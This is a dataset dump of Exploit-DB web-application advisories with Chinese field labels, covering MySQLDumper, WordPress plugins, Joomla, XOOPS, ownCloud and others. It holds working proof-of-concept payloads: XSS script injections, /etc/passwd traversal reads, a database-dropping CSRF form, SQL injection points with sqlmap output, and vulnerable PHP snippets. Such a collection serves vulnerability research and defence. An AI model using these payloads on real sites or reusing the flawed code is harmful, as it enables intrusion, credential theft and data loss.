QLWD/code_shield huggingface dataset:
标题: MySQLDumper 1.24.4 - 'restore.php?Filename' Cross-Site Scripting EDB-ID: 37125 CVE: 2012-4251 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/53306/info

MySQLDumper is prone to multiple security vulnerabilities, including:

1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.

Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.

MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/restore.php?filename=%3Cscript%3Ealert%281%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37125
标题: WordPress Plugin Free Counter 1.1 - Persistent Cross-Site Scripting EDB-ID: 37132 CVE: 2015-4084 类型: WEBAPPS 平台: PHP 发布日期: 2015-05-27 漏洞利用脚本: # Exploit Title: WordPress Free Counter Plugin [Stored XSS]
# Date: 2015/05/25
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://www.free-counter.org
# Software Link: https://wordpress.org/plugins/free-counter/
# Version: 1.1
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4084

1. Description

Any authenticated or non-authenticated user can perform a stored XSS 
attack simply by exploiting wp_ajax_nopriv_check_stat action.
Plugin uses a widget to display website's visits, so any page that 
contains this widget will also load the malicious JS code.

2. Proof of Concept

* Send a post request to `http://www.free-counter.org/Api.php` in order 
to reveal the counter id of the vulnerable site. The POST data must 
contain the following vars: 
`action=create_new_counter&site_url=http%3A%2f%my.vulnerable.website.com`
* As a response we get a serialized indexed array. The value that we 
need to know is the 'counter_id'.
* Send a post request to 
`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: 
`action=check_stat&id_counter=<counter_id from step 
2>&value_=<script>alert(1)</script>`
* Visit a page of the infected website that displays plugin's widget.

Note that the plugin uses the update_option function to store the 
$_POST['value_'] contents to DB so any code inserted there will be 
escaped. Even though a malicious user can omit the quotes in the src 
attr of the script tag. Most modern browsers will treat the tag as they 
were there.

3. Solution

No official solution yet exists. URL: https://www.exploit-db.com/exploits/37132
标题: MySQLDumper 1.24.4 - 'install.php?language' Traversal Arbitrary File Access EDB-ID: 37126 CVE: 2012-4253 类型: WEBAPPS 平台: PERL 发布日期: 2012-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/53306/info
 
MySQLDumper is prone to multiple security vulnerabilities, including:
 
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
 
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
 
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/install.php?language=../../../../../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/37126
标题: MySQLDumper 1.24.4 - 'filemanagement.php?f' Traversal Arbitrary File Access EDB-ID: 37129 CVE: 2012-4253 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/53306/info
    
MySQLDumper is prone to multiple security vulnerabilities, including:
    
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
    
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
    
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/filemanagement.php?action=dl&f=../../config.php
http://www.example.com/learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/37129
标题: MySQLDumper 1.24.4 - 'sql.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37128 CVE: 2012-4251 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/53306/info
   
MySQLDumper is prone to multiple security vulnerabilities, including:
   
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
   
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
   
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/sql.php?db=0&dbid=1&tablename=%3Cscript%3Ealert%281%29;%3C/script%3E
http://www.example.com/learn/cubemail/sql.php?db=0&dbid=%3Cscript%3Ealert%281%29;%3C/script%3E&tablename=1 URL: https://www.exploit-db.com/exploits/37128
标题: MySQLDumper 1.24.4 - 'install.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37127 CVE: 2012-4251 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/53306/info
  
MySQLDumper is prone to multiple security vulnerabilities, including:
  
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
  
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
  
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/install.php?phase=8%3Cscript%3Ealert%281%29;%3C/script%3E&language=en&submit=Installation URL: https://www.exploit-db.com/exploits/37127
标题: MySQLDumper 1.24.4 - 'main.php' Multiple Cross-Site Request Forgery Vulnerabilities EDB-ID: 37131 CVE: 2012-4252 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/53306/info
      
MySQLDumper is prone to multiple security vulnerabilities, including:
      
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
      
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
      
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

<img src="http://www.example.com/tld/meonyourpc.PNG" heigth="250" width="300" />
<form name="hackit" id="hackit" action="http://www.example.com/learn/cubemail/main.php?action=db&dbid=1" method="post">
<p><blink>Hotlink Protection is Active! Please click refresh button.</blink></p>
<input name="kill1" value="Refresh" onclick="alert('Congrats!) Your Database Dropped!')" type="submit">
</form> URL: https://www.exploit-db.com/exploits/37131
标题: XM Forum - 'id' Multiple SQL Injections EDB-ID: 37119 CVE: 2012-4060 类型: WEBAPPS 平台: ASP 发布日期: 2012-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/53292/info

XM Forum is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[patch]/profile.asp?$sid=&id=[SQL]
http://www.example.com/[patch]/forum.asp?$sid=&id=[SQL]
http://www.example.com/[patch]/topic.asp?$sid=&id=[SQL] URL: https://www.exploit-db.com/exploits/37119
标题: Uiga FanClub - 'p' SQL Injection EDB-ID: 37120 CVE: 2012-4055 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/53295/info

Uiga FanClub is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[Patch]/index2.php?c=1&p=[SQL] URL: https://www.exploit-db.com/exploits/37120
标题: WordPress Plugin church_admin 0.800 - Persistent Cross-Site Scripting EDB-ID: 37112 CVE: 2015-4127 类型: WEBAPPS 平台: PHP 发布日期: 2015-05-26 漏洞利用脚本: # Exploit Title: Wordpress church_admin Stored XSS
# Date: 21-04-2015
# Exploit Author: woodspeed
# Vendor Homepage: https://wordpress.org/plugins/church-admin/
# Version: 0.800
# OSVDB ID : http://www.osvdb.org/show/osvdb/121304
# WPVULNDB ID : https://wpvulndb.com/vulnerabilities/7999
# Category: webapps

1. Description

On the registration form the address field is not validated before returning it to the user.
Visiting the Directory page, will show the confirm window.

2. Proof of Concept

POST /wordpress/index.php/2015/05/21/church_admin-registration-form/



save=yes&church_admin_register=9d18cf0420&_wp_http_referer=%2Fwordpress%2Findex.php%2F2015%2F05%2F21%2Fchurch_admin-registration-form%2F&first_name%5B%5D=test&prefix%5B%5D=&last_name%5B%5D=test&mobile%5B%5D=%2B3670&people_type_id%5B%5D=1&email%5B%5D=test%40test.test&sex1=male&phone=%2B3670&address=%3Cscript%3Econfirm%28%29%3C%2Fscript%3E&lat=51.50351129583287&lng=-0.148193359375&recaptcha_challenge_field=03AHJ_VuvBRBO1Vts65lchUe_H_c1AuISniJ4rFDcaPyecjg-HypsHSZSfTkCyZMUC6PjVQAkkuFDfpnsKn28LU8wIMxb9nF5g7XnIYLt0qGzhXcgX4LSX5ul7tPX3RSdussMajZ-_N1YQnOMJZj8b5e5LJgK68Gjf8aaILIyxKud2OF2bmzoZKa56gt1jBbzXBEGASVMMFJ59uB9FsoJIzVRyMJmaXbbrgM01jnSseeg-thefo83fUZS9uuqrBQgqAZGYMmTWdgZ4xvrzXUdv5Zc76ktq-LWKPA&recaptcha_response_field=134


GET /wordpress/index.php/2015/05/21/church_admin-directory/




 <header class="entry-header">
  <h1 class="entry-title">church_admin directory</h1> </header><!-- .entry-header -->
 <div class="entry-content">
  <p><a href="http://localhost/wordpress/?download=addresslist&addresslist=d759d84e16&member_type_id=1,2">PDF version</a></p><form name="ca_search" action="" method="POST">
<p><label style="width:75px;float:left;">Search</label><input name="ca_search" type="text"/><input type="submit" value="Go"/><input type="hidden" name="ca_search_nonce" value="99de1bedec"/></p></form><div class="tablenav"><div class="tablenav-pages"><div class="pagination"></div>
</div></div>
<div class="church_admin_address" itemscope itemtype="http://schema.org/Person">
 <div class="church_admin_name_address" >
  <p><span itemprop="name"><strong>test test</strong></span></p>
  <p><span itemprop="address" itemscope itemtype="http://schema.org/PostalAddress"><script>confirm()</script></span></p></div><!--church_admin_name_address-->
 <div class="church_admin_phone_email">
  <p> <a class="email" href="tel:+3670">+3670</a><br/>
  <a class="email"  href="tel:+3670"><span itemprop="telephone">+3670</span></a><br/>
<a class="email" itemprop="email" href="mailto:test@test.test">test@test.test</a><br/>

  </p>

 </div><!--church_admin_phone_email--> 

3. Solution

Fixed in version 0.810. URL: https://www.exploit-db.com/exploits/37112
标题: WordPress Plugin Landing Pages 1.8.4 - Multiple Vulnerabilities EDB-ID: 37108 CVE: 2015-4065 2015-4064 类型: WEBAPPS 平台: PHP 发布日期: 2015-05-26 漏洞利用脚本: # Title: Multiple vulnerabilities in WordPress plugin "WordPress Landing Pages"
# Author: Adrián M. F. - adrimf85[at]gmail[dot]com
# Date: 2015-05-25
# Vendor Homepage: https://wordpress.org/plugins/landing-pages/
# Active installs: 20,000+
# Vulnerable version: 1.8.4
# Fixed version: 1.8.5
# CVE: CVE-2015-4064, CVE-2015-4065 

 Vulnerabilities (2)
=====================

(1) Authenticated SQLi [CWE-89] (CVE-2015-4064)
-----------------------------------------------

* CODE:
modules/module.ab-testing.php:100
+++++++++++++++++++++++++++++++++++++++++
$wpdb->query("
    SELECT `meta_key`, `meta_value`
    FROM $wpdb->postmeta
    WHERE `post_id` = ".$_GET['post']."
");
+++++++++++++++++++++++++++++++++++++++++

* POC:
http://[domain]/wp-admin/post.php?post=306[SQLi]&action=edit&lp-variation-id=1&ab-action=delete-variation

SQLMap
+++++++++++++++++++++++++++++++++++++++++
./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/post.php?post=306&action=edit&lp-variation-id=0&ab-action=delete-variation" -p post
[............]
GET parameter 'post' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 86 HTTP(s) requests:
---
Parameter: post (GET)
   Type: AND/OR time-based blind
   Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
   Payload: post=306 AND (SELECT * FROM (SELECT(SLEEP(10)))sCKL)&action=edit&lp-variation-id=0&ab-action=delete-variation
---
[13:35:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12
+++++++++++++++++++++++++++++++++++++++++


(2) Authenticated XSS [CWE-79] (CVE-2015-4065)
----------------------------------------------

* CODE:
shared/shortcodes/inbound-shortcodes.php:761
+++++++++++++++++++++++++++++++++++++++++
<iframe src='<?php echo INBOUDNOW_SHARED_URLPATH . 'shortcodes/'; ?>preview.php?sc=&post=<?php echo $_GET['post']; ?>' width="285" scrollbar='true' frameborder="0" id="inbound-shortcodes-preview"></iframe>
+++++++++++++++++++++++++++++++++++++++++


* POC:
http://[domain]/wp-admin/post-new.php?post_type=inbound-forms&post='></iframe><script>alert(String.fromCharCode(88, 83, 83))</script>


 Timeline
==========
2015-05-09: Discovered vulnerability.
2015-05-20: Vendor notification.
2015-05-20: Vendor response.
2015-05-22: Vendor fix.
2015-05-25: Public disclosure. URL: https://www.exploit-db.com/exploits/37108
标题: WordPress Plugin NewStatPress 0.9.8 - Multiple Vulnerabilities EDB-ID: 37107 CVE: 2015-4063 2015-4062 类型: WEBAPPS 平台: PHP 发布日期: 2015-05-26 漏洞利用脚本: # Title: Multiple vulnerabilities in WordPress plugin "NewStatPress"
# Author: Adrián M. F. - adrimf85[at]gmail[dot]com
# Date: 2015-05-25
# Vendor Homepage: https://wordpress.org/plugins/newstatpress/
# Active installs: 20,000+
# Vulnerable version: 0.9.8
# Fixed version: 0.9.9
# CVE: CVE-2015-4062, CVE-2015-4063

 Vulnerabilities (2)
=====================

(1) Authenticated SQLi [CWE-89] (CVE-2015-4062)
-----------------------------------------------

* CODE:
includes/nsp_search.php:94
+++++++++++++++++++++++++++++++++++++++++
for($i=1;$i<=3;$i++) {
    if(($_GET["what$i"] != '') && ($_GET["where$i"] != '')) {
        $where.=" AND ".$_GET["where$i"]." LIKE '%".$_GET["what$i"]."%'";
    }
}
+++++++++++++++++++++++++++++++++++++++++

* POC:
http://[domain]/wp-admin/admin.php?where1=agent[SQLi]&limitquery=1&searchsubmit=Buscar&page=nsp_search

SQLMap
+++++++++++++++++++++++++++++++++++++++++
./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/admin.php?where1=agent&limitquery=1&searchsubmit=Buscar&page=nsp_search" -p where1
[............]
GET parameter 'where1' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
---
Parameter: where1 (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: where1=agent AND (SELECT * FROM (SELECT(SLEEP(5)))Guji)&limitquery=1&searchsubmit=Buscar&page=nsp_search
---
[12:25:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12
+++++++++++++++++++++++++++++++++++++++++


(2) Authenticated XSS [CWE-79] (CVE-2015-4063)
----------------------------------------------

includes/nsp_search.php:128
+++++++++++++++++++++++++++++++++++++++++
for($i=1;$i<=3;$i++) {
    if($_GET["where$i"] != '') { print "<th scope='col'>".ucfirst($_GET["where$i"])."</th>"; }
}
+++++++++++++++++++++++++++++++++++++++++

* POC:
http://[domain]/wp-admin/admin.php?where1=<script>alert(String.fromCharCode(88,+83,+83))</script>&searchsubmit=Buscar&page=nsp_search


 Timeline
==========
2015-05-09: Discovered vulnerability.
2015-05-19: Vendor notification.
2015-05-19: Vendor response.
2015-05-20: Vendor fix.
2015-05-25: Public disclosure. URL: https://www.exploit-db.com/exploits/37107
标题: Joomla! Component CCNewsLetter 1.0.7 - 'id' SQL Injection EDB-ID: 37101 CVE: 2011-5099 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/53208/info

The CCNewsLetter module for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CCNewsLetter 1.0.7 is vulnerable; prior versions may also be affected. 

 http://www.example.com/modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] URL: https://www.exploit-db.com/exploits/37101
标题: gpEasy 2.3.3 - 'jsoncallback' Cross-Site Scripting EDB-ID: 37104 CVE: 2012-6513 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/53269/info

gpEasy is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

gpEasy 2.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/Admin_Preferences?gpreq=json&jsoncallback=<h1>test<br>test2<%2fh1> URL: https://www.exploit-db.com/exploits/37104
标题: XOOPS 2.5.4 - '/modules/pm/pmlite.php?to_userid' Cross-Site Scripting EDB-ID: 37092 CVE: 2012-0984 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/53143/info

XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

XOOPS 2.5.4 is vulnerable; other versions may be affected. 

<form action='http://www.example.com/modules/pm/pmlite.php' method="post">
<input type="hidden" name="sendmod" value='1'>
<input type="hidden" name="to_userid" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form> URL: https://www.exploit-db.com/exploits/37092
标题: ownCloud 3.0.0 - 'index.php?redirect_url' Arbitrary Site Redirect EDB-ID: 37094 CVE: 2012-2270 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/53145/info

ownCloud is prone to a URI open-redirection vulnerability, multiple cross-site scripting vulnerabilities and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Successful exploits may redirect a user to a potentially malicious site; this may aid in phishing attacks.

ownCloud 3.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/owncloud/index.php?redirect_url=1"><script>alert("Help Me")</script><l=" (must not be logged in)

http://www.example.com/owncloud/index.php?redirect_url=http%3a//www.boeserangreifer.de/ URL: https://www.exploit-db.com/exploits/37094